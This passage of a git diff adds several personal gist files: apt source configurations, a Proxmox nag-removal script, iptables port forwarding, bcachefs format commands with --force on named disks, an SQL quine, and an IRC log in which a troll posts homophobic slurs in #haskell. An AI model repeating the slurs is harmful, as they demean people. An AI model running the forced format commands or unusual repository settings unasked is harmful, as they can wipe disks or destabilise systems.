+++ b/content/gists/2fbfdcb6ff72ab2debe1a4dbebe0b509.md @@ -0,0 +1,217 @@ +--- +title: "/etc/apt/sources.list.d/Debian.sources" +type: gist +gist_id: "2fbfdcb6ff72ab2debe1a4dbebe0b509" +gist_name: "/etc/apt/sources.list.d/Debian.sources Debian.sources" +gist_url: https://gist.github.com/dominicusin/2fbfdcb6ff72ab2debe1a4dbebe0b509 +updated_at: "2024-03-04T03:58:27Z" +files: ["Debian.sources"] +--- +_/etc/apt/sources.list.d/Debian.sources_ + +## Debian.sources + +``` +Enabled: yes +Types: deb deb-src +URIs: https://deb.debian.org/debian https://httpredir.debian.org/debian https://cdn-fastly.deb.debian.org/debian +Suites: trixie-backports trixie-proposed-updates trixie-updates trixie experimental proposed-updates rc-buggy testing-backports testing-proposed-updates testing-updates testing +# Suites: experimental proposed-updates rc-buggy sid testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie +# Suites: bookworm-backports-sloppy bookworm-backports bookworm-proposed-updates bookworm-updates bookworm experimental proposed-updates rc-buggy sid stable-backports-sloppy stable-backports stable-updates stable testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie unstable +# Debian10.13 Debian11.7 Debian12.1 bookworm-backports-sloppy bookworm-backports bookworm-proposed-updates bookworm-updates bookworm bullseye-backports-sloppy bullseye-backports bullseye-proposed-updates bullseye-updates bullseye buster-backports-sloppy buster-backports buster-proposed-updates buster-updates buster experimental oldoldstable-backports-sloppy oldoldstable-backports oldoldstable-proposed-updates oldoldstable-updates oldoldstable oldstable-backports-sloppy oldstable-backports oldstable-proposed-updates oldstable-updates oldstable proposed-updates rc-buggy sid stable-backports-sloppy stable-backports stable-proposed-updates stable-updates stable testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie unstable +#sid experimental unstable testing testing-updates testing-proposed-updates testing-backports trixie trixie-updates trixie-proposed-updates trixie-backports +Components: main contrib non-free non-free-firmware +Signed-By: /usr/share/keyrings/debian-archive-keyring.gpg /usr/share/keyrings/debian-keyring.gpg +X-Repolib-Name: "Debian Sources" +#Architectures: all amd64 arm64 armel armhf i386 mips64el ppc64el s390x +By-Hash: force +Check-Valid-Until: yes +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no + + + +Enabled: yes +Types: deb deb-src +URIs: http://mirror.as43289.net/debian/ http://ftp.md.debian.org/debian/ +Suites: experimental proposed-updates rc-buggy testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie +# Suites: experimental proposed-updates rc-buggy sid testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie unstable +# Suites: bookworm-backports-sloppy bookworm-backports bookworm-proposed-updates bookworm-updates bookworm experimental proposed-updates rc-buggy sid stable-backports-sloppy stable-backports stable-updates stable testing-backports testing-proposed-updates testing-updates testing trixie-backports trixie-proposed-updates trixie-updates trixie unstable +# sid experimental unstable testing testing-updates testing-proposed-updates testing-backports trixie trixie-updates trixie-proposed-updates trixie-backports +Components: main contrib non-free non-free-firmware +Signed-By: /usr/share/keyrings/debian-keyring.gpg /usr/share/keyrings/debian-archive-keyring.gpg +X-Repolib-Name: "Debian Sources" +Architectures: amd64 i386 +#Architectures: all amd64 arm64 armel armhf i386 mips64el ppc64el s390x +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no + + +# Debian 14.0 (forky) forky Enabled: yes +Types: deb deb-src +URIs: https://www.deb-multimedia.org +Suites: unstable testing trixie stable +Components: main non-free +X-Repolib-Name: "Multimedia Debian Sources" +Signed-By: /etc/apt/trusted.gpg.d/deb-multimedia-keyring.gpg +Architectures: amd64 i386 +Languages: en ru +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +#Architectures: all amd64 arm64 armel armhf i386 +Enabled: yes +Types: deb +URIs: http://debian.linutronix.de/elbe +Suites: bookworm +Components: main +Signed-By: /usr/share/keyrings/elbe-archive-keyring.gpg +X-Repolib-Name: "ELBE Sources" +Architectures: amd64 +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no +#deb [signed-by=/usr/share/keyrings/elbe-archive-keyring.gpg] http://debian.linutronix.de/elbe bookworm main + +Enabled: yes +Types: deb deb-src +URIs: http://fasttrack.debian.net/debian https://fasttrack.debian.net/debian-fasttrack https://debian-fasttrack.sur5r.net/debian +Suites: bookworm-backports-staging bookworm-fasttrack +Components: main contrib non-free +X-Repolib-Name: "FastTrack" +Signed-By: /etc/apt/trusted.gpg.d/fasttrack-archive-keyring.gpg +By-Hash: force +Check-Valid-Until: yes +Architectures: amd64 i386 +Languages: en ru +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +#Architectures: all amd64 arm64 armel armhf i386 + +Enabled: yes +Types: deb +URIs: https://dl.google.com/linux/chrome/deb/ +Suites: stable +Components: main +Signed-By: /etc/apt/trusted.gpg.d/google-chrome-beta.gpg +X-Repolib-Name: "GoogleChrome Sources" +Architectures: amd64 +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no + +### THIS FILE IS AUTOMATICALLY CONFIGURED ### +# You may comment out this entry, but any other modifications may be lost. +#deb [arch=amd64] https://dl.google.com/linux/chrome/deb/ stable main + + +Enabled: no +Types: deb deb-src +URIs: https://incoming.debian.org/debian-buildd +Suites: buildd-bookworm-backports-sloppy buildd-bookworm-backports buildd-bookworm-proposed-updates buildd-bullseye-backports-sloppy buildd-bullseye-backports buildd-bullseye-proposed-updates buildd-buster-backports-sloppy buildd-buster-backports buildd-buster-proposed-updates buildd-experimental buildd-oldoldstable-backports-sloppy buildd-oldoldstable-proposed-updates buildd-oldstable-backports-sloppy buildd-oldstable-proposed-updates buildd-proposed-updates buildd-rc-buggy buildd-sid buildd-stable-backports-sloppy buildd-stable-backports buildd-testing-backports buildd-testing-proposed-updates buildd-trixie-backports buildd-trixie-proposed-updates buildd-unstable +# buildd-sid buildd-unstable buildd-experimental buildd-proposed-updates buildd-testing-backports buildd-testing-proposed-updates buildd-trixie-backports buildd-trixie-proposed-updates +Components: main contrib non-free non-free-firmware +X-Repolib-Name: "Debian Incoming" +Architectures: amd64 i386 +Languages: en ru +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +#Architectures: all amd64 arm64 armel armhf i386 mips64el ppc64el s390x + +Enabled: yes +Types: deb deb-src +URIs: http://neurodebian.g-node.org +Suites: data trixie +Components: main contrib non-free +Signed-By: /etc/apt/trusted.gpg.d/neurodebian-archive-keyring.gpg +X-Repolib-Name: "NeuroDebian Sources" +Architectures: amd64 +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no + +#deb http://neurodebian.g-node.org data main contrib non-free +#deb-src http://neurodebian.g-node.org data main contrib non-free +#deb http://neurodebian.g-node.org trixie main contrib non-free +#deb-src http://neurodebian.g-node.org trixie main contrib non-free + +Enabled: no +Types: deb deb-src +URIs: http://ftp.ports.debian.org/debian-ports/ +# http://snapshot.debian.org/archive/ +Suites: unreleased +#sid unstable experimental +Components: main contrib non-free non-free-firmware +Signed-By: /usr/share/keyrings/debian-ports-archive-keyring.gpg /etc/apt/trusted.gpg.d/debian-ports-archive-2023.gpg /etc/apt/trusted.gpg.d/debian-ports-archive-2024.gpg +X-Repolib-Name: "Ports Debian Sources" +Architectures: alpha arc hppa hurd-amd64 hurd-i386 ia64 loong64 m68k powerpc ppc64 sh4 sparc64 x32 +# kfreebsd-amd64 kfreebsd-i386 riscv64 +#Architectures: all amd64 arm64 armel armhf i386 mips64el ppc64el s390x +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no + +# /etc/apt/sources.list.d/progress-linux.sources +Types: deb +URIs: https://deb.progress-linux.org/packages +Suites: horok horok-security horok-updates horok-backports +Components: main contrib non-free non-free-firmware +PDiffs: no +Signed-By: /usr/share/progress-linux/pgp-keys/apt.progress-linux.org.gpg +Types: deb +URIs: https://deb.progress-linux.org/packages +Suites: horok-extras horok-backports-extras +Components: main contrib non-free non-free-firmware restricted +PDiffs: no +Signed-By: /usr/share/progress-linux/pgp-keys/apt.progress-linux.org.gpg + +Enabled: yes +Types: deb +URIs: https://repo.skype.com/deb +Suites: stable +Components: main +Signed-By: /etc/apt/trusted.gpg.d/skype.gpg +X-Repolib-Name: "Skype Sources" +Architectures: amd64 +By-Hash: force +Check-Valid-Until: yes +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: no +deb [arch=amd64] https://repo.skype.com/deb stable main + +``` + + diff --git a/content/gists/307f29255d8a9a2e27e0db7807cc4d0e.md b/content/gists/307f29255d8a9a2e27e0db7807cc4d0e.md new file mode 100644 index 000000000..f2e85ee75 --- /dev/null +++ b/content/gists/307f29255d8a9a2e27e0db7807cc4d0e.md @@ -0,0 +1,58 @@ +--- +title: "/etc/apt/sources.list.d/00-ubuntu.sources apt-fast.sources sublime.sources" +type: gist +gist_id: "307f29255d8a9a2e27e0db7807cc4d0e" +gist_name: "/etc/apt/sources.list.d/00-ubuntu.sources apt-fast.sources sublime.sources 00-ubuntu.sources apt-fast.sources sublime.sources" +gist_url: https://gist.github.com/dominicusin/307f29255d8a9a2e27e0db7807cc4d0e +updated_at: "2024-02-07T20:42:57Z" +files: ["00-ubuntu.sources apt-fast.sources sublime.sources"] +--- +_/etc/apt/sources.list.d/00-ubuntu.sources apt-fast.sources sublime.sources_ + +## 00-ubuntu.sources apt-fast.sources sublime.sources + +``` +Enabled: yes +Types: deb deb-src +URIs: https://mirrors.edge.kernel.org/ubuntu/ mirror://mirrors.ubuntu.com/mirrors.txt +Suites: noble noble-updates noble-security noble-proposed noble-backports devel-backports devel-proposed devel-security devel-updates devel +Components: main multiverse restricted universe +Signed-By: /usr/share/keyrings/ubuntu-master-keyring.gpg /usr/share/keyrings/ubuntu-archive-keyring.gpg +X-Repolib-Name: "Ubuntu Sources" +Architectures: amd64 i386 +By-Hash: force +Check-Valid-Until: yes +#Languages: ca cs da de el en eo es eu fi fr gl hr hu id it ja km ko ml nb nl pl pt pt_AO pt_BR ro ru sk sr sv tr uk vi zh zh_CN zh_TW +Languages: en ru +PDiffs: yes +Allow-Downgrade-To-Insecure: no +Allow-Insecure: no +Allow-Weak: no +Trusted: yes + + + +Enabled: yes +Types: deb deb-src +URIs: https://ppa.launchpadcontent.net/apt-fast/stable/ubuntu +Suites: noble +Components: main +Signed-By: /usr/share/keyrings/apt-fast-archive-keyring.gpg + +Enabled: yes +Types: deb +URIs: https://download.sublimetext.com +Suites: apt/stable/ +Components: +Signed-By: /usr/share/keyrings/sublimetext-archive-keyring.gpg + +# +# wget -qO- https://download.sublimetext.com/sublimehq-pub.gpg | gpg --dearmor | sudo tee /usr/share/keyrings/sublimetext-archive-keyring.gpg >/dev/null +# sudo chmod 644 /usr/share/keyrings/sublimetext-archive-keyring.gpg +# sudo chown root: /usr/share/keyrings/sublimetext-archive-keyring.gpg +# gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys A2166B8DE8BDC3367D1901C11EE2FF37CA8DA16B +# gpg --export A2166B8DE8BDC3367D1901C11EE2FF37CA8DA16B | sudo tee /usr/share/keyrings/apt-fast-archive-keyring.gpg >/dev/null +# gpg --delete-keys A2166B8DE8BDC3367D1901C11EE2FF37CA8DA16B +``` + + diff --git a/content/gists/316ab2c4be582d19ddd5bc612f9edeeb.md b/content/gists/316ab2c4be582d19ddd5bc612f9edeeb.md new file mode 100644 index 000000000..48a70f2ac --- /dev/null +++ b/content/gists/316ab2c4be582d19ddd5bc612f9edeeb.md @@ -0,0 +1,28 @@ +--- +title: "How to setup a community version of Proxmox VE 5.x-6.x" +type: gist +gist_id: "316ab2c4be582d19ddd5bc612f9edeeb" +gist_name: "How to setup a community version of Proxmox VE 5.x-6.x gistfile1.txt" +gist_url: https://gist.github.com/dominicusin/316ab2c4be582d19ddd5bc612f9edeeb +updated_at: "2021-10-26T13:30:59Z" +files: ["gistfile1.txt"] +--- +_How to setup a community version of Proxmox VE 5.x-6.x_ + +## gistfile1.txt + +```Text +# Disable Commercial Repo +sed -i "s/^deb/\#deb/" /etc/apt/sources.list.d/pve-enterprise.list +apt-get update + +# Add PVE Community Repo +echo "deb http://download.proxmox.com/debian/pve $(grep "VERSION=" /etc/os-release | sed -n 's/.*(\(.*\)).*/\1/p') pve-no-subscription" > /etc/apt/sources.list.d/pve-no-enterprise.list +apt-get update + +# Remove nag +echo "DPkg::Post-Invoke { \"dpkg -V proxmox-widget-toolkit | grep -q '/proxmoxlib\.js$'; if [ \$? -eq 1 ]; then { echo 'Removing subscription nag from UI...'; sed -i '/data.status/{s/\!//;s/Active/NoMoreNagging/}' /usr/share/javascript/proxmox-widget-toolkit/proxmoxlib.js; }; fi\"; };" > /etc/apt/apt.conf.d/no-nag-script +apt --reinstall install proxmox-widget-toolkit +``` + + diff --git a/content/gists/32c65db74ea47f695d092b3e82e9a7fc.md b/content/gists/32c65db74ea47f695d092b3e82e9a7fc.md new file mode 100644 index 000000000..84887b519 --- /dev/null +++ b/content/gists/32c65db74ea47f695d092b3e82e9a7fc.md @@ -0,0 +1,39 @@ +--- +title: "/etc/firewall.user" +type: gist +gist_id: "32c65db74ea47f695d092b3e82e9a7fc" +gist_name: "/etc/firewall.user gistfile1.sh" +gist_url: https://gist.github.com/dominicusin/32c65db74ea47f695d092b3e82e9a7fc +updated_at: "2018-03-21T18:15:25Z" +files: ["gistfile1.sh"] +--- +_/etc/firewall.user_ + +## gistfile1.sh + +```Shell +# This assumes your gateway is an OpenWRT box at 192.168.1.1, +# your lan is 192.168.1.0/24, +# and your OpenWRT stock chains are intact. +# It is different than the built in /etc/config/firewall rules in that it allows you to address +# your linux box at example.com, whether your request originates from within your lan, or from outside. + +WIN_XP_HOST=192.168.1.184 +LINUX_HOST=192.168.1.202 +WWW_NAME=example.com + +forward () { + DESTINATION_HOST=$1 + PORT_LIST=$2 + iptables -A forwarding_wan -d $DESTINATION_HOST -j ACCEPT + iptables -t nat -A prerouting_wan -p tcp -m multiport --dports $PORT_LIST -j DNAT --to $DESTINATION_HOST + iptables -t nat -A prerouting_rule -d $WWW_NAME -s 192.168.1.0/24 -p tcp -m multiport --dports $PORT_LIST -j DNAT --to $DESTINATION_HOST + iptables -t nat -A postrouting_rule -d $DESTINATION_HOST -s 192.168.1.0/24 -p tcp -m multiport --dports $PORT_LIST -j SNAT --to 192.168.1.1 +} + +forward $WIN_XP_HOST 21,3389,50000,50001,50002,50003,50004,50005 +forward $LINUX_HOST 22,80 + +``` + + diff --git a/content/gists/3767b0adad98ac016c32a981d931c113.md b/content/gists/3767b0adad98ac016c32a981d931c113.md new file mode 100644 index 000000000..297518943 --- /dev/null +++ b/content/gists/3767b0adad98ac016c32a981d931c113.md @@ -0,0 +1,130 @@ +--- +title: "Trolling #haskell" +type: gist +gist_id: "3767b0adad98ac016c32a981d931c113" +gist_name: "Trolling #haskell trolling_haskell" +gist_url: https://gist.github.com/dominicusin/3767b0adad98ac016c32a981d931c113 +updated_at: "2022-05-01T21:21:08Z" +files: ["trolling_haskell"] +--- +_Trolling #haskell_ + +## trolling_haskell + +``` +13:15 | HASKELL IS FOR FUCKIN FAGGOTS. YOU'RE ALL A BUNCH OF + | FUCKIN PUSSIES +13:15 | JAVASCRIPT FOR LIFE FAGS +13:16 | hello +13:16 | somebody has a mental illness! +13:16 | Wow...I suddenly see the error of my ways and feel + | compelled to write Node.js! +13:16 | hi +13:16 | you might be pleased to learn that you can compile + | haskell to javascript now +13:17 | @where ops +13:17 | arjanb bos Cale conal copumpkin dcoutts dibblego dons + | edwardk glguy Heffalump Igloo jmcarthur johnw kosmikus + | Lemmih monochrom Philippa Pseudonym quicksilver roconnor + | Saizan shapr sjanssen ski wli +13:17 | xerox +13:18 | FUCK YOU AND YOUR HUSSY OPS +13:18 | THEY CAN'T DO SHIT TO ME CUNTS +13:18 | xQuasar: While I don't think anything is wrong with + | faggots to the point where "faggot" isn't insulting + | anymore, I assure you we have heterosexuals in our + | language as well. +13:18 | Haskell is invariant under gender. Really! +13:18 | quchen++ +13:18 | I don't blame him, I'd be this angry to if I had to write + | javascript all day too +13:19 | FUCK YOU STRAIGHT CUNTS +13:19 | BESTIALITY IS THE BEST +13:19 | merijn: Lol. And when I write that I mean it :D +13:19 | xQuasar: Do you have any specific questions? +13:20 | This is sort of like a puppy trying to be angry with + | you...it's just kinda adorable to see him think he has + | any effect :) +13:20 | xQuasar: You're offtopic right now. This is a Haskell + | help channel. Do you have Haskell questions? +13:20 | xQuasar: We'd love to help you make your first steps. +13:20 | hey -- is there a proper way to whine about no one having + | responded to a question? :) +13:20 | i just want to get kicked out of a bunch of channels for + | fun +13:20 | Have you seen LYAH? It's a very enjoyable book on + | Haskell. It also has a reputation of being very + | uplifting. +13:20 | @where lyah +13:20 | why is no one cooperating with me +13:20 | http://www.learnyouahaskell.com/ +13:21 | in soviet russia, haskell learns a you +13:21 | tsinnema: Yeah, wait 30 minutes or more and try again :) +13:21 | xQuasar: We are cooperating with you, you're just not + | aware that your goal is learning Haskell +13:21 | xQuasar: why not learn some Haskell instead? +13:21 | alright i'll admit i lose +13:21 | Ha, sometimes I forget how hard it is to troll haskell :) +13:21 | #haskell is awesome :-) +13:21 | what's haskell good for though +13:21 | xQuasar: But there is so much to win here! +13:21 | i'm more into gamedev +13:21 | figures +13:21 | it's good for writing programs. +13:22 | what kind of programs? +13:22 | xQuasar: any kind +13:22 | "what's C++ good for?" +13:22 | xQuasar: The ones that run on comput-ars. +13:22 | it's a general purpose language +13:22 | xQuasar: frp can be useful for writing games, and with + | ghcjs you can compile them to javascript to make web + | games +13:22 | merijn, yeah, seems reasonable :) +13:22 | seriously though, if you learn it you may completely + | change your perspective on programming +13:22 | i have absolutely no idea what frp and ghcjs are +13:22 | and there's HGamer3D.... +13:22 | i tested reactive-banana with ghcjs last week, works now, + | and sodium was already supported +13:23 | that's okay +13:23 | I'm assuming haskell is nothing like c++, php and java? + | because that's all i know so far +13:23 | xQuasar: functional reactive progarmming, and a + | haskell->javascript compiler based on ghc +13:23 | Haskell is very different from C++ and PHP +13:23 | (and Java…) +13:23 | tsinnema: As far as left union goes, I assume + | (I'm not 100% sure) that it does union and inn case a + | label is in both lists it keeps the value from the label + | in the left list +13:23 | it looks difficult +13:23 | merijn, thanks -- that +13:23 | afaef +13:24 | xQuasar: even if you decide not to use Haskell in the + | future, having learnt it you may find new things to apply + | in your other languages +13:24 | xQuasar: C is difficult in a non-rewarding way while + | Haskell is difficult in very rewarding ways, imo. +13:25 | xQuasar: It's a little about relearning how to program. + | Like learning a language from the other side of the + | planet that turns out to work well in your homecountry ;-) +13:26 | i can't believe my attempt to troll has actually got me + | convinced that i should give haskell a go +13:26 | i shall be back later +13:26 | to actually learn some haskell +13:27 | xQuasar: haha, okay +13:27 | but now i must rest my weary head and recover from my + | cold o/ +13:27 | Iceland_jack: you know, I wouldn't be surprised if you + | were able to. +13:28 | Man, I tried to troll like 10 channels and I only got + | kicked from #bitcoin-dev +13:28 | I'm probably the biggest failure of a troll ever. +13:28 | xQuasar: you may have had more success at a different + | time of day +13:28 | xQuasar: You'll make up for it by kicking ass in Haskell +13:30 | Alright thanks guys, I'll be back later to actually learn + | some haskell for real +``` + + diff --git a/content/gists/39e81e44e8bdaeadeb7b69c7928aea08.md b/content/gists/39e81e44e8bdaeadeb7b69c7928aea08.md new file mode 100644 index 000000000..e7e617cea --- /dev/null +++ b/content/gists/39e81e44e8bdaeadeb7b69c7928aea08.md @@ -0,0 +1,18 @@ +--- +title: "Куайн, Запрос который выводит сам себя" +type: gist +gist_id: "39e81e44e8bdaeadeb7b69c7928aea08" +gist_name: "Куайн, Запрос который выводит сам себя gistfile1.sql" +gist_url: https://gist.github.com/dominicusin/39e81e44e8bdaeadeb7b69c7928aea08 +updated_at: "2018-12-04T02:53:41Z" +files: ["gistfile1.sql"] +--- +_Куайн, Запрос который выводит сам себя_ + +## gistfile1.sql + +```SQL +select a || ' from (select ' || quote_literal(a) || b || ', ' || quote_literal(b) || '::text as b) as quine' from (select 'select a || '' from (select '' || quote_literal(a) || b || '', '' || quote_literal(b) || ''::text as b) as quine'''::text as a, '::text as a'::text as b) as quine; +``` + + diff --git a/content/gists/434ec639b48a6946b5b69de3bd80fa04.md b/content/gists/434ec639b48a6946b5b69de3bd80fa04.md new file mode 100644 index 000000000..f9f84f586 --- /dev/null +++ b/content/gists/434ec639b48a6946b5b69de3bd80fa04.md @@ -0,0 +1,68 @@ +--- +title: "bcf" +type: gist +gist_id: "434ec639b48a6946b5b69de3bd80fa04" +gist_name: "bcf bcachefs" +gist_url: https://gist.github.com/dominicusin/434ec639b48a6946b5b69de3bd80fa04 +updated_at: "2025-09-17T00:20:19Z" +files: ["bcachefs"] +--- +_bcf_ + +## bcachefs + +``` + +bcachefs format --verbose --force --acl --usrquota --grpquota --prjquota --errors=fix_safe \ +--fs_label=Linux --label=Linux --compression=lz4 --background_compression=zstd --inodes_use_key_cache \ +--replicas=3 --metadata_replicas=3 --data_replicas=2 --metadata_replicas_required=3 --data_replicas_required=2 \ +--str_hash=siphash --gc_reserve_percent=10 --root_reserve_percent=5 --metadata_checksum=xxhash --data_checksum=xxhash --wide_macs \ +--label=hdd.tsh1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A031FB4G-part4 \ +--label=hdd.tsh2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G-part4 \ +--label=hdd.wdc1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF-part4 \ +--label=hdd.wdc2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF-part4 \ +--label=ssd.wd21 --discard --durability=0 /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part4 \ +--label=ssd.ct21 --discard --durability=0 /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part4 \ +--label=ssd.sam1 --discard --durability=0 /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part4 \ +--foreground_target=ssd --promote_target=ssd --metadata_target=ssd --background_target=hdd + +bcachefs set-fs-option --verbose --errors=fix_safe --btree_node_mem_ptr_optimization --wide_macs --inline_data --journal_flush_delay=10 --journal_reclaim_delay=10 --btree_node_prefetch /dev/disk/by-uuid/cff7344f-93e6-41ac-a748-4ef1b4f82d2a + + +bcachefs format --verbose --force --acl --usrquota --grpquota --prjquota --errors=fix_safe --fs_label=Linux --label=Linux --compression=lz4:15 --background_compression=lz4:15 --metadata_replicas=3 --data_replicas=2 --metadata_replicas_required=2 --data_replicas_required=1 --str_hash=crc64 --gc_reserve_percent=10 --root_reserve_percent=5 --metadata_checksum=crc64 --data_checksum=crc64 --label=hdd.tsh1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A031FB4G-part4 --label=hdd.tsh2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G-part4 --label=hdd.wdc1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF-part4 --label=hdd.wdc2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF-part4 --label=ssd.wd21 --discard --durability=0 --data_allowed=journal,btree /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part4 --label=ssd.ct21 --discard --durability=0 --data_allowed=journal,btree /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part4 --label=ssd.sam1 --discard --durability=0 --data_allowed=journal,btree /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part4 --foreground_target=ssd --promote_target=ssd --metadata_target=ssd --background_target=hdd + +bcachefs format --verbose --force --acl --usrquota --grpquota --prjquota --errors=fix_safe --label=myroot --fs_label=mybcachefs --compression=lz4 --inodes_use_key_cache --label=ssd.wd21 --durability=0 --discard /dev/disk/by-partuuid/ca29cbeb-1974-4ab2-a42c-428fb23cb81d --label=ssd.ct21 --durability=0 --discard /dev/disk/by-partuuid/e63869bf-5552-4e8b-ba87-887880f25798 --label=ssd.sam1 --durability=0 --discard /dev/disk/by-partuuid/609eeee8-b5b4-4f4b-8955-5687fd7859c7 --label=ssd.sam2 --durability=0 --discard /dev/disk/by-partuuid/47b313cd-7f3b-48ad-9044-4d3d21e257e4 --label=ssd.sam3 --durability=0 --discard /dev/disk/by-partuuid/997b6ab3-849a-40bb-b951-aa424def8bdc --label=ssd.sam4 --durability=0 --discard /dev/disk/by-partuuid/5a3fc720-15b1-4b64-8d35-9a5b8d11bd51 --label=hdd.tsh1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-partuuid/36fdc72d-336e-4e9c-a6fc-ecee9f18c715 --label=hdd.tsh2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-partuuid/20958f20-6a6d-4d6a-896a-593bd55860d5 --label=hdd.wdc1 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-partuuid/cd7cb649-0733-47f6-8b5c-558c3e303a2f --label=hdd.wdc2 --durability=1 --data_allowed=journal,btree,user /dev/disk/by-partuuid/66be9316-101d-46ae-9439-5fa8cc8190ef --foreground_target=ssd --background_target=hdd + + +bcachefs format --verbose --force --acl --label=bclin --fs_label=mbchfs --compression=lz4 \ +--label=ssd.sam1 --durability=0 --discard /dev/disk/by-id/nvme-Samsung_SSD_970_EVO_1TB_S467NX0K822865W-part6 \ +--label=ssd.sam2 --durability=0 --discard /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S6Z2NF0X200223V-part6 \ +--label=ssd.sam3 --durability=0 --discard /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221858P-part6 \ +--label=ssd.sam4 --durability=0 --discard /dev/disk/by-id/nvme-Samsung_SSD_990_PRO_2TB_S7DNNJ0X221870V-part6 \ +--label=ssd.wd21 --durability=0 --discard /dev/disk/by-id/nvme-WD_Blue_SN580_2TB_23306X800120-part6 \ +--label=ssd.ct21 --durability=0 --discard /dev/disk/by-id/nvme-CT2000P3PSSD8_2305E6A607AC-part6 \ +--label=hdd.wdc1 --durability=1 /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGLSNF-part1 \ +--label=hdd.wdc2 --durability=1 /dev/disk/by-id/ata-WDC_WD4003FRYZ-01F0DB0_VBGGL0RF-part1 \ +--label=hdd.tsh1 --durability=1 /dev/disk/by-id/ata-TOSHIBA_HDWR11A_X1K0A036FB4G-part1 \ +--foreground_target=ssd --promote_target=ssd --background_target=hdd + + + +bcachefs format --verbose --force --acl --label=bclin --fs_label=mbchfs --compression=lz4 \ + --label=ssd.nv0 --durability=0 --discard /dev/nvme0n1p6 \ + --label=ssd.nv1 --durability=0 --discard /dev/nvme1n1p6 \ + --label=ssd.nv2 --durability=0 --discard /dev/nvme2n1p6 \ + --label=ssd.nv3 --durability=0 --discard /dev/nvme3n1p6 \ + --label=ssd.nv4 --durability=0 --discard /dev/nvme4n1p6 \ + --label=ssd.nv5 --durability=0 --discard /dev/nvme5n1p6 \ + --label=hdd.sda1 --durability=1 /dev/sda1 \ + --label=hdd.sdb2 --durability=1 /dev/sdb1 \ + --label=hdd.sdc3 --durability=1 /dev/sdc1 \ + --foreground_target=ssd --promote_target=ssd --background_target=hdd + +bcachefs format -v -f --acl --label=bclin --fs_label=mbchfs --compression=lz4 --label=ssd.nv0 --durability=0 --discard /dev/nvme0n1p6 --label=ssd.nv1 --durability=0 --discard /dev/nvme1n1p1 --label=ssd.nv2 --durability=0 --discard /dev/nvme2n1p6 --label=ssd.nv3 --durability=0 --discard /dev/nvme3n1p6 --label=ssd.nv4 --durability=0 --discard /dev/nvme4n1p6 --label=ssd.nv5 --durability=0 --discard /dev/nvme5n1p6 --label=hdd.sda1 --durability=1 /dev/sda1 --label=hdd.sdb2 --durability=1 /dev/sdb1 --label=hdd.sdc3 